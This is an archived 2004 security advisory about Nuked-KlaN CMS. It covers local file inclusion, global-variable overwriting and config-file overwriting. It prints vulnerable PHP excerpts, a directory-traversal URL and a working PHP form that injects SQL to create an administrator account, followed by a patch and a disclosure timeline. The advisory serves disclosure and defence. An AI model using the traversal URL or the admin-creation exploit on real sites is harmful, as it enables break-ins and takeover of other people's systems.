exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SCSA028.txt

SCSA028.txt
Posted Apr 22, 2004
Authored by frog-man | Site phpsecure.info

Security Corporation Security Advisory [SCSA-028]: Nuked-KlaN versions b1.4 and b1.5 allows for directory traversal attacks and global variable overwriting.

tags | exploit
SHA-256 | 61a637daf1513ba208db6fc8145428152db635c02705b2f1d85a0fcd7bb18c37

SCSA028.txt

Change Mirror Download
=================================================
Security Corporation Security Advisory [SCSA-028]

Nuked-Klan Multiple Vulnerabilities
=================================================

PROGRAM: Nuked-KlaN
HOMEPAGE: http://www.nuked-klan.org
VULNERABLE VERSIONS: b1.4, b1.5, SP2
RISK: MEDIUM/HIGH
IMPACT: Config File Destruction
Local Files Include
Globals Vars Overwriting

RELEASE DATE: 2004-04-16


=================================================
TABLE OF CONTENTS
=================================================

1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK


1. DESCRIPTION
=================================================

Nuked-Klan is a complete CMS with a few intersting modules.

More information is available at http://www.nuked-klan.org


2. DETAILS
=================================================


In the file index.php, we can see the include of nuked.php :
----------------------
include ("nuked.php");
----------------------
In nuked.php are the lines :
-------------------------------------------------------
[...]
include ("conf.inc.php");
[...]
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}

include ("lang/$language");
[...]
-------------------------------------------------------
A file "lang/$language" is thus included.
This variable can be modified by anyone, with the variable named $user_langue.
Anyone can this include a file from the HD in Nuked-Klan b1.5 and less.


In this version b1.5 are a few other holes.
In the file globals.php are the lines :
-------------------------------------------------------
[...]
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
[...]
-------------------------------
The nk_globals() function can be found in nuked.php :
---------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
---------------------------------------------------
This function will create globals variables. Their names and values are in the
table $table (here GET, POST, COOKIE and SERVER tables).
When these lines are executed in globals.php, the GET, POST and COOKIE vars
become GLOBALS vars.
But if these GLOBALS vars already exists, they are overwrited.

So if the file globals.php is included after the config vars (in conf.inc.php),
then anyone can give new values to these vars.
It is possible in index.php :
-------------------------------------------------------
[...]
if($page!=""){$im_file="$page";}else{$im_file="index";}
}

if (is_file("modules/$file/$im_file.php") ){
include("modules/$file/$im_file.php");
}else{
include("modules/404/index.php");
}
[...]
-------------------------------------------------------
which could include globals.php with the URL :
http://[target]/index.php?file=..&page=globals
Or :
http://[target]/index.php?user_langue=../globals.php
This last url allow to overwrites GLOBALS[] in every modules, like Suggest
(modules/Suggest/index.php) :
-------------------------------------------------------

[...]
function add_sug($data)
{
global $user, $module, $nuked;

opentable();

include("modules/Suggest/modules/$module.php");
$date=time();
$content=make_array($data);
$sql=mysql_query("INSERT INTO $nuked[prefix]"._suggest." VALUES
('','$module','$user[0]','$content','$date')");
echo"

"._YOURSUGGEST."
"._THXPART."

";
redirect("index.php?file=$module",2);

closetable();
}
[...]
-------------------------------------------------------

Here we can change $nuked[prefix] and then insert what we want in the database.



The last problem in b1.5 is the file update.php :
-------------------------------------------------------

<?

[...]

include ("globals.php");

[...]

function install()
{
global $langue;
include ("lang/$langue");

[...]
}
[...]


function edit_config($op)
{
global $langue,$langname;

include ("lang/$langue");

[...]
}
[...]

function update_config($vars)
{
[...]
include ("lang/$vars[langue]");
[...]
$content = "<?php // Generated: $d\n"
[...]
."\$global['db_host'] = '$vars[db_host]';\n"
."\$global['db_user'] = '$vars[db_user]';\n"
."\$global['db_pass'] = '$vars[db_pass]';\n"
."\$global['db_name'] = '$vars[db_name]';\n"
."\$global['type'] = '$vars[type]';\n"
."\$nuked['prefix'] = \"$vars[prefix]\";\n"
[...]
."\$nuked['url'] = '$vars[url]';\n"
[...]
.'?'.'>';


$fp = fopen('conf.inc.php', w);
if (!$fp) die (sprintf('Erreur File Open','conf.inc.php','conf.inc.php'));
fwrite($fp, $content);
fclose($fp);
[...]
}

[...]

switch ($action)
{
[...]
case"edit_config":
edit_config($_GET['op']);
break;

case"update_config":
update_config($_POST);
break;

case"install":
install();
break;
[...]
}

?>
-------------------------------------------------------

This file can include a local file too with $langue and the update_confi()
function can overwrite the config file.



3. EXPLOITS
=================================================



- Include local file :

http://[target]/index.php?user_langue=../../../../../file/to/view

- Create admin (overwriting GLOBALS) :

-------------------------------------------------------

<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($_POST["submit"])){

echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";

}else{
?>

<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
-------------------------------------------------------


4. SOLUTIONS
=================================================

You can found patch at the following link : http://www.phpsecure.info

The Nuked-KlaN team were notified and have quickly released a fix.


5. WORKAROUND
=================================================

In globals.php, replace the lines :
-------------------------------------------------------
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
-------------------------------------------------------
by :
-------------------------------------------------------
if (!get_ini("register_globals")){
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
}
-------------------------------------------------------

In nuked.php, replace the lines :
-------------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
-------------------------------------------------------
by :
-------------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
if (!isset($GLOBALS[$key])){ $GLOBALS[$key] = $val; }
}
}
}
-------------------------------------------------------

And after the lines :
-------------------------------------------------------
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
-------------------------------------------------------
add the lines :
-------------------------------------------------------
if ( eregi("\.\.",$theme) || eregi("\.\.",$page) || eregi("\.\.",$file)
|| eregi("\0",$theme) || eregi("\0",$page) || eregi("\0",$file) ||
eregi("\.\.",$user_langue) || !file_exists("lang/$language") ){
die("What are you trying to do ?");
}
-------------------------------------------------------
6. DISCLOSURE TIMELINE
=================================================

25/02/2003 Vulnerability discovered
01/03/2003 Vendor notified
20/03/2004 Vendor response
20/03/2004 Security Corporation clients notified
20/03/2004 Started e-mail discussions
06/04/2004 Last e-mail received
16/04/2004 Public disclosure


7. CREDITS
=================================================

Germain Randaxhe aka frog-m@n <frog-man@security-corporation.com>
from http://www.phpsecure.info is credited with this discovery


8. DISLAIMER
=================================================

The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.


9. REFERENCES
=================================================

- Original Version:
http://www.security-corporation.com/advisories-028.html

- Version Française:
http://www.security-corporation.com/index.php?id=advisories&a=028-FR


10. FEEDBACK
=================================================

Please send suggestions, updates, and comments to:

Security Corporation
http://www.security-corporation.com
advisory@security-corporation.com
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close